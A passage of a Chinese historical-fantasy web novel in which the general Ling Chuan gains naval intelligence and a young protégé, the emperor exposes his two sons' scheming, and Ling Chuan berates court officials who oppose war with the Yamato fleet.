他翻开文牒,枯瘦的手指缓缓划过纸页:“东疆水师的兵力分布、领兵将领,以及其作战风格,这里面都有详细记录。此外,对于大和水军乃至周边的百济、新罗、高丽等一众小国的情报,也有详细记载。老夫会提前传信,到时候,他们会尽力配合你!” 凌川闻言,顿时心生感动,连忙起身抱拳,深深一揖:“老将军雪中送炭,晚辈感激不尽!” “哈哈哈哈......”安国公捻须笑道,笑声中带着几分豪迈,“老夫也是不想看到苏定方的心血功亏一篑,同样,也想看一看,你这个年轻人能否扭转乾坤,为大周王朝续命!” 就在此时,门外传来一阵急促的脚步声,人还没到,便听到一道洪亮的声音传来:“爷爷,听说璃姐姐来了,人呢?” 紧接着,一名身形魁梧、虎头虎脑的少年出现在门口。 他约莫十五六岁年纪,却已长得比寻常成年人还要高大,肩宽背阔,一身劲装勾勒出结实的肌肉线条,浓眉大眼间透着少年人特有的朝气,但眼神中又带着将门子弟特有的锐利。 “冒冒失失的成何体统?”老将军瞪了他一眼,呵斥道,但眼神中却难掩慈爱。 “小破虏!”苏璃见到来人,连忙拭去眼泪,脸上露出久违的笑意。 “璃姐姐,听说你回神都了,本想去看你,可爷爷不让!”少年心直口快,话音刚落便意识到自己说错话了,连忙捂住嘴巴,偷偷瞥了爷爷一眼。 苏璃会心一笑,柔声道:“我这不是来看你了吗?一年不见,都长这么高了,还这么壮实!”她上下打量着少年,眼中满是姐姐对弟弟的关爱。 安国公不让他去看苏璃,自然是有他的考虑,这一点,无论是苏璃还是凌川都不会见怪。 “璃姐姐,这就是姐夫吧?”虎头虎脑的张破虏走到凌川面前,目光中带着几分好奇与审视,像是在掂量这个突然出现的姐夫是否配得上自己的璃姐姐。 “在下正是凌川!”凌川面带笑意,拱手道,“果真是将门虎子,英气勃发。老将军后继有人啊!” 张破虏虽然年纪尚轻,但站在那里自有一股不凡气势,若是放在战场上磨砺一番,假以时日,必能成为一员纵横沙场的猛将。 安国公笑道:“凌将军若是觉得这小子还行,回头你就把他带去边疆锤炼一番,省得他一天到晚在神都里无所事事,磨皮擦痒的!” 张破虏闻言,顿时眼前一亮,激动地抓住爷爷的衣袖:“爷爷,这可是你说的,不许反悔!” 安国公故意板起脸,说道:“你别高兴得太早,人家凌将军还没答应呢!” 凌川则是眉头微微一皱,正色道:“老将军,破虏可是张家的独苗,您把他交给我带上战场......” 不等凌川说完,安国公直接摆手打断了他的话,声音陡然提高:“他苏定方能舍得一身剐,敢以全家性命为注,我张泊远难不成就那点格局?” 老人挺直了佝偻的脊背,仿佛又回到了当年统率千军万马的岁月:“张家虽不及苏家那般世代忠烈,但也是将门出身,若是怕断绝香火,连子孙后代都不敢送上战场,那与绝后有什么区别?” 这番话铿锵有力,掷地有声,饶是凌川也不由得心生敬佩,这才是真正的将门风骨,为了家国天下,可以牺牲一切。 紧接着,安国公将目光转向自己的孙子,神色严肃:“以前之所以不让你去边疆,是因为你太年轻,行事鲁莽,怕你惹祸。这次你得保证,一切听从凌将军的命令,切不可任性胡来!” 第一卷 第516章 将门之后,张破虏 “爷爷放心,我保证,全程听从凌将军的命令!”张破虏立即举手发誓,脸上洋溢着兴奋的神采。 随即,他自来熟一般凑到凌川跟前,迫不及待地问道:“将军,咱们什么时候出发?我现在就去收拾东西!” 凌川暗自好笑,随即一本正经地说道:“不急,我得先检验一下你的能力,毕竟,我军中向来只收精锐,不是谁都能跟在我身边的!” 张破虏连忙拍着结实的胸脯保证道:“将军尽管检验!这些年我可没闲着,日日勤练武艺,夜夜苦读兵书,无论是个人战力还是兵法韬略,我都没问题!” “臭小子,平时怎么跟你说的?做人要谦虚!”安国公呵斥道,“你那点本事,在人家凌将军眼里屁都不是!” 凌川略作思索,对张破虏说道:“既然如此,我便考考你,如果命你为主帅,带十万兵力跨海攻打大和,你应该怎么打?我给你十天时间,制定一份详细的作战策略给我!” 这个问题看似简单,实则涉及方方面面,兵种配置、辎重器械、粮草补给、行军路线、进攻策略、撤退路线等等,每一个环节都需要深思熟虑。 古往今来,很多人带领一支万人队伍可以将仗打得很漂亮,但若是让其指挥十万人乃至数十万大军的大战,却往往捉襟见肘,这是因为,一名将领和一名统帅对于能力的要求简直是天差地别。 一名出色的帅才,不仅要有出色的统兵能力,更重要的是能在瞬息万变的战局下,迅速做出调整和应对。 战场上,局势瞬息万变,战机稍纵即逝。 主帅是整支军队的首脑,不仅需要对己方局势了如指掌,更要对敌方布局洞若观火,知彼知己,方能百战不殆。 据说,史上那些名将,指挥数大军作战时,能让大军如臂使指,更是对每一名校尉的名字、性格、用兵习惯乃至手下兵力配置都牢记于心,还能根据战局推进,精准估算出双方兵力消耗。 那才是真正的运筹帷幄之中,决胜千里之外。 也正是因为指挥大规模作战太过于耗费心神,很多主帅虽然一直坐镇中军大帐,却比在战场上拼杀的将领还要疲惫,甚至有人因此心神消耗过大,身体直接垮掉的例子。 凌川倒也不是真希望张破虏能交出一份完美答卷,而是想借此考验一下他的能力与潜质。 安国公显然是料定,陛下不久之后会把凌川派往东疆助战。他让孙子张破虏跟着自己,名义上是历练,实际上,是给了凌川一块‘令牌’,有张破虏在身边,凌川在东疆水师行事,就会方便很多。 “将军放心,十日之内,我一定把作战策略交到您手中!”张破虏拍着胸脯保证道,眼中闪烁着自信的光芒。 不多时,凌川二人便告辞离开,安国公让张破虏将他们送到府门外。 “璃姐姐、凌将军,回头我来王府找你们!”张破虏对二人说道,语气中满是期待。 “好,随时来!”苏璃挥手笑道,经过这番交谈,她的心情似乎轻松了一些。 回到王府,凌川便直接进入书房之中。 安国公交给他的,除了那份文牒之外,还有一叠精心绘制的地图,东疆、大和、乃至东疆相邻小国,都一应俱全。 而且,每幅地图上面都有老将军亲自做出的标注,详细记录了各处岛屿、要塞、港口、水路等情况,还有哪些海域有暗礁,哪些海域有暗流,哪些岛屿可以驻军休整。 这些东西,对凌川而言无比重要,不仅能解燃眉之急,如果后面真要到东疆助战,这些详实的情报和地图也能派上大用场。 他目光扫过地图,结合详细注解,仿佛已经看到了实地的模样。 与此同时,御书房之中,皇帝正在专心批阅奏章。 御案前方,大皇子与二皇子已经跪了将近两个时辰。 自皇帝将他们二人传唤过来之后,便一言不发,任由他们跪在冰冷的地面上,随着时间推移,御书房中的气氛愈发凝重,二人尽管双腿发麻,膝盖都失去了知觉,却连大气都不敢喘。 期间,皇后和齐贵妃各来了一次,想要为儿子求情,却都被守门的金吾卫毫不留情地挡在了门外。 又过了片刻,跪在地上的二位皇子额头已经冒出细密的汗珠,后心更是早已被汗水湿透。 倒不是因为天气炎热,而是在这种无形的压力之下,内心极度紧张所致,大皇子的手指无意识地抠着衣角,二皇子则不时偷偷抬眼窥探父皇的神色,每一次都迅速低下头去。 那名年轻太监站在皇帝侧后方,始终保持着微躬的姿态。 虽说他承受的压力没有两位皇子那么大,但伴君如伴虎的道理他比谁都清楚。 按理说,大太监晋貂寺倒台之后,无论是资历还是背景都轮不到他这个新人,可皇帝却将掌印司递交上来的名单全部驳回,然后亲自到掌印司,挑了他这个名不见经传的小太监。 当时,掌印司中很多人都对他羡慕不已,更是第一时间送礼巴结,希望以后能关照一二。 唯独这些年带他的那名老太监私下告诫他,这个位置距离皇帝最近,但也是距离死亡最近的位置,古往今来,这个位置能得善终者屈指可数。 想要活得久,需谨记三点:不越界、不结党、不贪功。 可即便如此,他这几日也是度日如年、如履薄冰,生怕一不小心触怒天威。 这几日下来,他也见识到了陛下的勤勉,绝非以往传言的那般不理朝政、昏聩无度,这位皇帝陛下,无论是能力还是城府,都远比外人想象的要厉害得多。 直到皇帝将最后一本奏折批阅完毕,年轻太监才小心翼翼地上前,将奏折整理好,送到御书房门外,交予司礼监的人员传至内阁。 紧接着,他将刚沏好的碧涧茶承了上去。 这几日,掌印司将皇帝的喜好归纳成册,尽数交给他,让他在三日内全部记下。 皇帝最喜欢喝的两种茶,一是碧涧,二是明月,只不过,明月只在睡前饮用,此刻奉上碧涧正是时候。 第一卷 第517章 皇帝的无奈 皇帝端起茶盏,轻轻吹了吹浮在水面的茶叶,然后浅呷一小口,这才将目光转向下方满头大汗的两位皇子。 他的眼神冰冷如刀,让两位皇子不由自主地打了个寒颤。 大皇子周苍不自觉地攥紧了衣袖,二皇子周云则下意识地避开了父皇的目光。 “是你们自己交代呢?还是朕来问?”皇帝声音低沉,显然带着压抑的怒意。这声音在寂静的御书房中回荡,更添几分威严。 二人只感觉一道惊雷在脑海中炸响,瞬间脸色苍白。 大皇子抬起目光看向皇帝,颤声说道:“父皇明鉴,儿臣实在不知道要交代何事啊!” 皇帝冷笑一声,微微移动目光看向二皇子,问道:“老二,你呢?” 二皇子喉头滚动,用力咽了咽口水,说道:“父皇,儿臣惶恐,不知做了什么事让父皇动怒!” “哐当……” 皇帝重重将手中茶盏落在御案之上,冷声说道:“机会朕给你们了,既然不肯交代,那就由朕来问吧!” 他目光再次落到大皇子身上,问道:“苍儿,朕送你的那块玉牌,可曾保存完好?给朕看看!” 听闻此言,大皇子内心一沉,但很快便掩饰了起来,随即伸手到腰间取下一块玉牌,双手高高捧起,玉牌在烛光下泛着温润的光泽,上面的龙纹栩栩如生。 年轻太监连忙上前,将玉牌接了过来,交到皇帝手中。 皇帝拾起玉牌,仔细端详了一番,说道:“宝瑞轩的手艺确实不错,可惜啊,假的始终是假的!” 此言一出,大皇子如遭雷击,身体止不住地颤抖起来。 “父皇……父皇明鉴,儿臣府中前不久进了贼,玉牌被盗走了,儿臣怕父皇怪罪,所以,所以才出此下策,请父皇相信儿臣!”大皇子满脸惶恐,颤声说道。 皇帝点了点头,说道:“朕相信你!” 就在大皇子暗自松了口气时,皇帝的声音再度传来:“因为,玉牌是老二让人来偷走的!” 二皇子脸色剧变,连忙说道:“父皇,儿臣从未去过皇兄的府邸,更何况,儿臣偷玉牌来做什么?” 就在这时,皇帝从怀中取出一块玉牌,看起来跟周苍那块一般无二,但若是细看,玉质的纹理和雕工的细节还是有细微差别。 “你偷了玉牌之后,冒用老大的身份去见大和使团,在得知自己的行踪被丁爻察觉之后,更是借长谷川之手杀了他,为了撇清关系,刻意让丁爻拿到这块玉牌,想嫁祸给你皇兄!”皇帝的声音陡然转冷,眼神更是犀利如刀。 二皇子周云面色一片苍白,连忙解释道:“父皇,儿臣冤枉啊,儿臣从未去见过大和使团,更没有偷过皇兄的玉牌,定是有人在挑拨离间、陷害儿臣!” 皇帝目光灼灼,盯着他,说道:“你应该知道,无论什么事情,通天卫只要想查,就没有查不到的!” 听到这话,二皇子面如死灰,心中的最后一丝侥幸也被击溃。 原本以为天衣无缝的计划,凭此可以轻松扳倒大皇兄,然而母妃和外公却告诉他,这种小伎俩根本瞒不过廷尉府和通天卫,现在看来,果真被他们一语中的。 皇帝没再理会他,而是将目光看向大皇子周苍。 “苍儿,你也让朕很是惊喜啊,明知是你二弟偷走了玉牌,却依旧不动声色去复刻了一块,然后还刻意给他制造机会,让他去见大和使团,正当他在为嫁祸于你而沾沾自喜的时候,殊不知,这一切都在你的计划之中,不得不说,这份心机与城府,就连朕都为之惊叹!”皇帝眼神中的赞赏毫不掩饰。 忽然,他目光陡然转厉,声音也瞬间转冷,说道:“可你不该与永夜勾结,来谋夺自家的江山!” 这句话宛如一道惊雷在御书房炸响,大皇子周苍更是身心剧颤,脑海中一片空白…… 本以为,自己将二弟的每一步都算是,绝对是万无一失,所以,他当日从首辅府回来的途中故意给老二制造机会,让他一步步走进自己精心编织的陷阱。 可他没想到,终究还是被父皇察觉到了。 “父皇,父皇冤枉啊,儿臣从未与永夜勾结,儿臣没有啊!”大皇子周苍连连磕头,额头撞击在金砖地面上,发出沉闷的声响。 看着跪在地上,自己最看重的两个儿子,皇帝眼中满是愤怒与失望,心里更是痛心疾首。 他想起这两个孩子小时候围在自己身边嬉戏的模样,那时的他们是多么纯真可爱。 自己之所以迟迟没有立储,一来是这二人身后都有强大的势力支持,那些人为了有朝一日能做从龙之臣,早已与他们绑在了一起,自己无论立谁为太子,都势必会得罪另一个阵营的人。 还有一个原因是,这两位皇子都很优秀,大皇子周苍德才兼备,二皇子周云文武双全,他们都有资格做太子乃至下一代君主,这也是让他举棋不定的原因之一。 可他怎么也想不到,自己最看好的两位子嗣,为了争夺太子之位,一个勾结敌国,一个串通叛党,想要反过来颠覆自家的江山。 这是何等的可悲,又是何等的可笑。 自己身为九五之尊的帝王,连自己的儿子都教育不好,还妄想教化天下万民,连一个小家都治理不好,还成天想着治理天下,真是可笑。 皇帝沉默了许久,对着门外喊道:“来人!” 很快,几名金吾卫走了进来,躬身行礼。 “带二位殿下回府面壁思过,没有朕的允许,不得离开自己的府邸,更不得见任何人!”皇帝声音平静,却是强压着内心的怒火。 “是!”几名金甲卫齐声回答道,随即便带着两位皇子离开。 皇帝瘫坐在椅子上,整个人显得异常疲惫,像是瞬间苍老了十岁一般,他抬手揉了揉太阳穴,深深叹了口气。 要知道,他年龄与苏定方不相上下,还不到五十岁,按理说正值壮年,可这一刻他却感觉身心疲惫。这些年来,为了平衡朝中各方势力,他费尽心思,却没想到最终连自己的儿子都要与自己为敌。 第一卷 第518章 秦羽到来 年轻太监将这一切看在眼里,却始终躬身垂首,许久之后,他终于鼓起勇气说道:“陛下,保重龙体啊!” 皇帝微微侧过目光,问道:“小宁子,你说朕这个皇帝是不是很失败?” 年轻太监浑身神经紧绷,噗通一声跪在地上,惶恐道:“陛下,奴才不敢妄言,陛下您就放过奴才吧!” 皇帝苦笑着摇了摇头,“无趣,你去一趟礼部,问问他们后日授封大典准备得如何了!” “奴才遵命!”小宁子连忙起身,朝着门外走去。 小宁子刚走没多久,金吾卫来报:“陛下,首辅大人和齐大学士求见!” 皇帝眉头微蹙,眼神中闪过一抹诧异之色,问道:“他们两个一起来的?” “是!”那名金吾卫回答道。 “请他们进来吧!”皇帝正了正身,说道。 …… 一个时辰之后,黄千浒和齐清远才从御书房离开。 从他们阴沉的脸色不难看出,方才的谈话并不愉快,黄千浒的眉头紧锁,齐清远则是一脸凝重,二人并肩而行,却各怀心事。 御书房中,皇帝却是嘴角浮现出一抹笑意,心情也莫名好了几分。 他走到窗前,空气中隐隐传来淡淡菊香,喃喃自语:“这场戏,倒是越来越精彩了……” 自国公府回来之后,凌川便再次将自己关在了书房之中,一直到傍晚,作战策略终于初具雏形,桌案上铺满了地图和文书。 他揉了揉发胀的太阳穴,正准备歇息片刻,就在这时,沈珏来报:“将军,寇悔到了!” “秦羽和吴氏母子呢?”凌川放下手中狼毫,问道。 “也到了,正在梳洗!”沈珏回答道。 凌川点了点头,说道:“晚上让他们一起用膳,我忙完这点就过去!” 紧接着,他似乎想到了什么,问道:“孟钊去了多久了?” “今日是第五天了,若是行程顺利,路程已经过半了!”沈珏回答道。 凌川若有所思地点点头,孟钊此行关系重大,希望一切顺利。 片刻之后,凌川在偏厅见到了风尘仆仆的寇悔,后者抱拳行礼:“将军!” 凌川点头,拍了拍他的肩膀,问道:“辛苦了,这一路还好吧?” “一切顺利!”寇悔简洁地回答道,眼神中带着一丝重逢的激动。 之前,凌川让寇悔带着一众并州籍的士兵留下来,护送秦简的妻儿来神都,顺便可以趁机回家探探亲,以至于现在才抵达。 晚膳时分,凌川在膳堂见到了梳洗完毕的吴氏母子,虽然已经换上了干净的衣裳,但依旧难掩脸上的风尘仆仆,吴氏的眼角的皱纹又加深了些,显然这一路的奔波让她憔悴了不少。 母子二人见到凌川,连忙要起身见礼,却被凌川抬手示意:“都不是外人,无需多礼!” 近两个月不见,秦羽成熟了许多,眼神中的稚气逐渐褪去,比之前多了几分坚定与沉稳很显然,这一系列的变故,让他成长了不少。 席间,凌川开口询问:“嫂子,陛下的意思是让羽儿进大理寺任寺丞,但羽儿年纪尚小,这个时候进入大理寺难免被人利用,所以我觉得,先让他在书院修学两年,再进大理寺,你意下如何?” 对于凌川,这母子二人是绝对的信任,而且,心中充满了感激,若非凌川相助,他们母子恐怕早已遭遇不测,更别说洗刷冤屈了。 吴氏想都没想,说道:“妾身一个妇道人家,不懂这些,全凭将军做主!” 凌川点了点头,又将目光看向秦羽,问道:“羽儿,你怎么想?” “羽儿听叔叔和娘亲的!”秦羽恭敬地回答道,眼神中带着一丝忐忑,但更多是的坚定。 “好!那我回头便上书禀明陛下,然后把你送到书院,你当刻苦修学,将来为国效力,为百姓谋福祉!”凌川语重心长地说道。 “羽儿谨记叔叔教诲!”秦羽郑重点头说道。 凌川此举看似压制了秦羽的仕途,实则是在暗中保护他。 虽说现在的秦羽进入大理寺,也做不了什么实质性的事务,但对于以后的仕途来说,却是一份难得的资历。 可凌川心里明白,秦羽年纪尚小,进入大理寺之后,要是被有心之人利用,成为别人手中的棋子,不仅前途尽毁,甚至有可能为自己招来杀身之祸。 反之,将其送入书院,读书修学、塑造品格,更是他这个年龄阶段的当务之急。只有打下这般基础,才能让他以后的仕途走得更稳。 当日下午,刘恩赐前来告知凌川:“将军,陛下让您参与明日早朝,商讨东疆之事!” 这个消息让他神色微微一变。 毕竟,当晚在御书房,陛下便已经决定要与大和帝国开战,而且还让自己与兵部制定作战策略。 这个时候却让自己上朝与群臣一起商讨东疆之事,很明显,这其中另有所指。 “臣遵旨!”凌川躬身回应,心中已经开始盘算明日在朝堂上可能出现的局面。 次日一早,天还未亮,苏璃便早早起床为凌川准备好了早点,又帮他更衣着甲,她细心地将凌川的战甲擦拭得锃亮,每一个动作都透着关切。 “相公,朝堂之上步步杀机,你万事小心!”苏璃轻声嘱咐道,眼中满是担忧。 凌川握住她的手,温声道:“放心,我自有分寸!” 寅时之前,凌川便抵达承天门,到了才发现,文武官员已经来了不少。 晨雾弥漫中,官员们三三两两地聚在一起低声交谈。 凌川行至左掖门,一众武官主动与他见礼,凌川一一回应。 或许是前两日晚宴上的经历,大家看向他的目光中多了几分钦佩与敬重,就连对面右掖门的文官中,不少人看向他的目光也温和了许多,不像上次那般恶意满满。 寅时三刻,承天门缓缓开启,文武百官列队入宫。 相比起以往上朝的静谧,今日,不少官员都在小声讨论,窃窃私语声在晨雾中飘荡,更添几分紧张气氛。 只因,这段时间,神都发生了太多事情,从那场毫无征兆的清洗、到扶持宋家重临朝政、以及大和使团的一系列变故…… 每一件都牵动着朝堂的神经。 第一卷 第519章 初次临朝 然而,对于这一系列的动荡,陛下却是不闻不问,甚至连上朝都免了,分明就是在有意识逃避,这让不少官员心生疑虑,不知道皇帝到底在谋划什么。 想来,今日的朝会不会平静。 前往承天殿途中,走在最前面的兵部尚书耿云旌将右手负于身后,朝凌川招了招手。 凌川加快脚步上前,耿云旌依旧目视前方,保持着原有的步伐,用仅有两人能听到的声音说道:“今日朝会的核心议题是东疆局势,文官集团肯定会不遗余力阻止开战,陛下希望你能站出来发声!” 凌川眉头微微一皱,尽管已经猜到了这一点,但还是忍不住问道:“为何是末将?” 耿云旌淡淡一笑,说道:“因为,这偌大的朝堂之上,只有你才是真正的武将!” 凌川点了点头,没再多言。 他明白耿云旌的意思,在文官当道的朝堂上,需要一个真正的边军将领来发出声音。 不多时,文武百官进入承天殿,按照既定位置站定。 文官阵营中,比以往缺了不少熟悉面孔,这些人,要么已经成为刀下亡魂,要么现在还在廷尉府大牢之中,空出来的位置虽被补齐,但依旧显得格外刺眼,提醒着众人不久前那场清洗的残酷。 当然,也有一些生面孔,如宋家三父子,宋鹤年站在文官队列的前排,神色肃穆,他的两个儿子则站在稍后的位置,三人的出现无疑给朝堂带来了新的变数。 片刻后,贴身太监从后堂走出,立于金台一侧,朗声喊道:“陛下驾到!” “叩见陛下!” 所有文武官员纷纷下跪行礼,而恰在此时,身着玄色龙袍的皇帝缓缓走出,来到金台之上的龙椅坐下。他的目光在大殿扫视了一圈,才缓缓开口:“众卿平身!” “谢陛下!” 小宁子也是第一次随陛下上朝,内心异常紧张,他知道,按照惯例,自己应该说‘有事启奏,无事退朝’。 然而,还不等他开口询问,陛下却率先开口了:“诸卿想必已知晓,大和水军兵临东疆,并派遣使团来神都要挟,让朕割让沿海数百里的十二州县给大和帝国,以求他们退兵,诸位觉得该如何应对呀?” 此言一出,朝堂之上顿时传来一片愤懑之声,几位老臣更是气得胡须直颤,显然被大和的狂妄要求激怒了。 他看似在询问满朝百官的意见,实则却根本没有给大家选择,因为,这个时候,无论是谁,只要敢说答应大和使团的要求,必将会被朝堂之上文武百官的口水淹死,甚至于,就算有人将其当场格杀,也不会被降罪,甚至还能搏一个忠君爱国、刚直忠烈的美名。 “混账,区区一隅岛国,竟敢在我大周天朝大放厥词,莫非真忘了当年被我大周水师打到家门口,跪地求饶的惨痛教训了?”兵部左侍郎催鉴怒声喝道,声音洪亮如钟。 “简直是欺人太甚,这群倭奴,竟敢如此猖獗,我大周泱泱大国,岂能向他们低头?”另一位老臣也愤然出声。 大殿中,群情激奋,讨伐之声此起彼伏。 在这种几乎不需要思考就能选择的问题上,并不多见,一些本就没有什么主见的官员,自然不会错过这个表忠心的机会,纷纷出声附和。 对此,皇帝只是看在眼里,始终一言不发。 他的目光在众臣脸上扫过,似乎在观察每个人的反应。 同样,大殿中,站在最前方的内阁首辅黄千浒与文渊阁大学士齐清远二人,也是全程垂首,目光盯着地面,始终没有表态。 这两位朝堂重臣的沉默,反而让气氛更加微妙。 凌川同样没有说话,但他凝聚自己的感知,一直在捕捉黄千浒与齐清远的神态,他注意到黄千浒的右手无意识地在袖中摩挲着什么,而齐清远的眉头则始终微微蹙起。 甚至,凌川偶尔还会感知一下龙椅之上的圣颜,皇帝看似平静的目光下,隐藏着道道波澜。 片刻之后,皇帝主动开口,问道:“首辅大人觉得,此事应当如何决断啊?” “回禀陛下……”见皇帝点自己的名,黄千浒也只能移步到中间:“老臣觉得,此事没什么可商量的,大和岛国如此咄咄逼人,我大周的东疆水师也不是吃素的,真要打,未必会输!” 就在其他人还在诧异,为何黄千浒会同意陛下提议的时候,黄千浒忽然话锋一转,说道:“不过话又说回来,眼下大和水军乘势而来,就是想要逼着我们与之开战,此战若胜,自然皆大欢喜,一切问题也都迎刃而解,但万一战败,那必将陷入更为被动的局面!请陛下三思!” 皇帝神色不改,心里却暗骂老狐狸,一番话说得滴水不漏,赞成反对都让你说了。 “其他人呢,都说说你们的意见!”皇帝将目光扫向朝堂之上的其他人,问道。 一旁的齐清远见状,果断站了出来,躬身说道:“臣觉得,此时开战并非上策!” 皇帝目光一沉,问道:“依大学士之见,咱们就应该割地认输,接受这份耻辱?” “老臣并无此意!”齐清远一脸认真,“而是眼下局势,我大周无论是兵力还是国力,皆不占优,贸然开战绝非智举,应从长计议以免陷入被动!” 他顿了顿,又补充道:“况且,国库近年空虚,军费开支巨大,此时开战,恐怕难以为继!” 紧接着,户部尚书顾承均也站了出来,拱手道:“陛下!臣觉得,阁老与大学士所言在理,东疆水师近几年与大和水师交战败多胜少,而且,如今大和帝国又联合周边百济、新罗、高丽等国侵扰边境,显然是早已合谋,一旦开战,东疆将瞬间陷入多面受敌的境地啊!” “臣附议!” “臣等附议!” 很快,便有一大群黄齐二党的官员站出来,赞成两人的提议,这些人跪倒一片,声势浩大,显然是有备而来。 事实上,黄党和齐党站在一边,共同与皇权对抗的局面也并不多见,毕竟他们属于不同的团体,彼此间必然存在利益冲突。 可今日,这两派却默契一致地劝阻陛下与大和开战,这种反常的团结,让明眼人都看出了其中的蹊跷。 第一卷 第520章 带甲莽夫 随着成片的官员跪下,皇帝的脸色难看到了极点。 这一幕也让凌川大为震惊,他早就听说这黄齐二党权倾朝野,但没想到已经到了这种地步。 眼下,官员们跪倒一片,简直跟逼宫没什么区别。 金殿之上的气氛顿时凝重到了极点,连侍立的太监都不自觉地屏住了呼吸。 多年不临朝政的前任大学士宋鹤年见到这一幕,更是被气得面色铁青,浑身发抖,他颤巍巍地指着跪倒的官员,想要说什么,却气得说不出话来。 宋敬芝、宋云舟以及一众依附于宋家的官员见状,同样是面色难看,宋敬芝就要出列的时候,却被父亲宋鹤年用眼神制止。 在后者看来,哪怕他现如今已是户部侍郎,但这种局面下出头,分量依旧不够。 陛下请他出山,并大力扶持宋家,其目的正是让他们抗衡黄齐二党,眼下这种时候,宋家自然要发声,但这个声音只能由他来。 可就在他准备出列的时候,一道爽朗的笑声传来:“哈哈哈哈……” 此笑声一出,大殿顿时安静下来,所有人的目光都循着笑声的方向看去,只见凌川站在武将队列中,脸上的笑容夸张到毫不掩饰。 “放肆,朝堂之上无端发笑,成何体统?”户部员外郎何守仁厉声喝道。 前几日晚宴上,凌川让他颜面扫地,此时见凌川无故发笑,无视朝堂礼仪,立马出声呵斥。 “未经教化的武夫,竟然在这朝堂之上丢人现眼!”吏部左侍郎安清呈也满是鄙夷地说道,声音不大,却传遍大殿。 相比之下,黄英杰就要直接得多,只见他怒声喝道:“凌川,殿前失仪你可知罪?到底是什么让你觉得如此好笑,说出来让陛下和这满朝文武听听?” 凌川依旧是止不住的大笑,可眼神中却满是鄙夷与嘲讽。 他目光从黄齐二党这一众官员身上扫过,最终停在了黄英杰的身上。 那一瞬间,他的眼神锐利如刀,让黄英杰不由自主地后退了半步。 “我笑这朝堂之上朽木为官,殿陛之间禽兽食禄!我笑狼心狗行之辈,滚滚当道,奴颜婢膝之徒,纷纷秉政。以致社稷丘墟,苍生涂炭!” 凌川这番话如惊雷炸响,在开阔大殿之中回荡;声音如刀剑铮鸣,震得人耳膜生疼;每一个字都像是重锤,敲击在每个人的心上。 黄千浒的嘴角微微抽搐,齐清远则是不自觉地握紧了拳头。 以及顾承均、安清呈,以及跪伏在地上的黄齐二党的官员,脸色都难看到了极点。 这些年来,无论是御史台还是廷尉府,对于他们的弹劾从来都没停过,但从未有人像凌川这般,直接在朝堂之上开骂,而且还骂得如此犀利,不留丝毫余地。 “大胆!” “放肆!” “狂妄之徒……带甲莽夫!” 一时间,各种斥责声响彻朝堂之上,黄齐二党的官员就像是一支支锋利的箭矢,纷纷对准了凌川。 若是目光能杀人,凌川此刻早已千疮百孔。 然而,对凌川有一定了解的人,内心却是逐渐激动甚至期待起来。 因为他们知道,凌川绝非是一个肯吃亏的主,他一旦出手,就势必要让对方无法翻身。 几日前的晚宴上,大和使团的下场就是最好的证明,那个夜晚,凌川也是用这种看似骄狂的姿态,将不可一世的大和使团摁在地上摩擦,使其自取其辱、颜面扫地。 饶是蓄势待发的宋鹤年,也按捺住开口的念头。 因为他知道,自己这位外孙女婿的反击比自己更具锋芒,也更具杀伤力。 “我凌川确实没读过什么书,但尚且知道食君之禄,忠君之事,担君之忧。尔等自诩饱读圣贤书,却不思报国,只会在朝堂上尔虞我诈、对自己人铁血手腕,面对外敌胆小如鼠,此等祸国殃民的乱臣贼子,与羊质虎皮的禽兽何异?”凌川继续发力,可谓是字字诛心。 他每一个字都像是一把尖刀,直接刺在一众官员的心口,更是剥掉他们光鲜的外表,将其最丑陋的一面暴露在大庭广众之下。 “住口!” “黄口小儿,竟敢在朝堂之上大放厥词,你可知‘长幼尊卑’四字怎么写吗?”这次开口的是顾承均,他气得脸色发白,手指颤抖地指着凌川。 凌川目光毫不畏惧,直视对方,说道:“你堂堂户部尚书,长幼尊卑学得不错,尤其是这个‘卑’更是深得其精髓,可惜你却不知何为忠孝,何为廉耻!外敌都打到家门口了,你们却只想着自己那点利益,全然不把家国生死、民族存亡当回事!” 这番话,气得顾承均咬牙切齿,却又无可奈何。 “哼!”只听一道冷哼声传来,齐清远忍不住开口了:“卑贱的泥腿子,终究是难登大雅之堂,这金銮殿岂是你撒野的地方?” 凌川冷笑一声,将目光看向齐清远,说道:“某些人自恃尊贵,可在我看来,不过是没长骨头的废物!衣冠大袖、腰玉琅琅,可终究难掩你骨子里的奴性!” “嘶……” 此言一出,全场所有人都不由得倒吸一口凉气。要知道,这位不仅是文渊阁大学士,天下文人的典范,更是齐贵妃的父亲,皇帝陛下的老丈人。 他们知道凌川胆子大,却没想到他的胆子大到这种地步,面对齐大学士也毫不留情,直接开骂。 就连皇帝的双眼都下意识睁大,显然,他也低估了凌川的胆量,可正因如此,他内心反而愈发欣赏这位年轻人的锋芒。 正如首次在养心殿见面的时候,凌川便能当面拒绝他这位皇帝,更是直言不讳他可以为天下苍生肝脑涂地,但绝不会成为自己巩固皇权的鹰犬。 平心而论,当时听到这句话,他内心确实很生气。 或许是常年听到的都是一些阿谀奉承之语,无论对方是真心实意还是虚情假意,至少表面上对自己这个皇帝都是毕恭毕敬。 可这个自边关战场回来的少年却宛如一把锋利的刀,竟然当面回绝了自己。 可回头一想,如今帝国风雨飘摇,江山社稷都即将不保,想要改变现状唯有大刀阔斧,这少年不正是自己苦苦寻找的那把刀吗? 第一卷 第521章 半步不曾退过! “你……” 齐清远脸色一会青一会紫,他当朝国丈,更是文坛宗师,何时遭受过这般侮辱? “无知小儿,竟敢辱骂老夫,你这是要与天下文人作对吗?”齐清远气得手指颤抖,眼珠子都快瞪出来。 若要轮朝堂之上这些阴谋诡计,凌川肯定玩不过这老东西,但要说骂人,他十个齐清远绑一块,也不是凌川的对手。 只见凌川一脸气定神闲的冷笑,看着他说道:“别往自己脸上贴金,你代表不了天下读书人!在我眼里,你只不过是一条枉活七十有二的断脊之犬!面对外敌未战先怯,成天只知道窝里横,还舔着老脸自封文人典范。古之圣贤要是知道了,非得掀开棺材板拍死你不可!” “你……” 齐清远气得两眼发昏,连话都说不清楚,身子晃了晃,险些栽倒在地。 朝堂之上,黄齐二党的一众官员一个个沉着脸,眼神阴鸷得能滴出水来。 若不是忌惮凌川乃是边关武将,估计都恨不得冲上来跟他拼命,因为他们心里都很清楚,凌川看似在骂齐大学士,实则是在骂他们所有人。 黄千浒虽然面色如常,但眼眸中的杀机却是丝毫不加掩饰,袖中捏着那本手札,这是他思考时惯有的动作。 至于一众武官,以及黄齐二党之外的官员,却是感觉无比解气。 御史台一众言官更是暗自汗颜,原来骂人还能这么直白犀利。 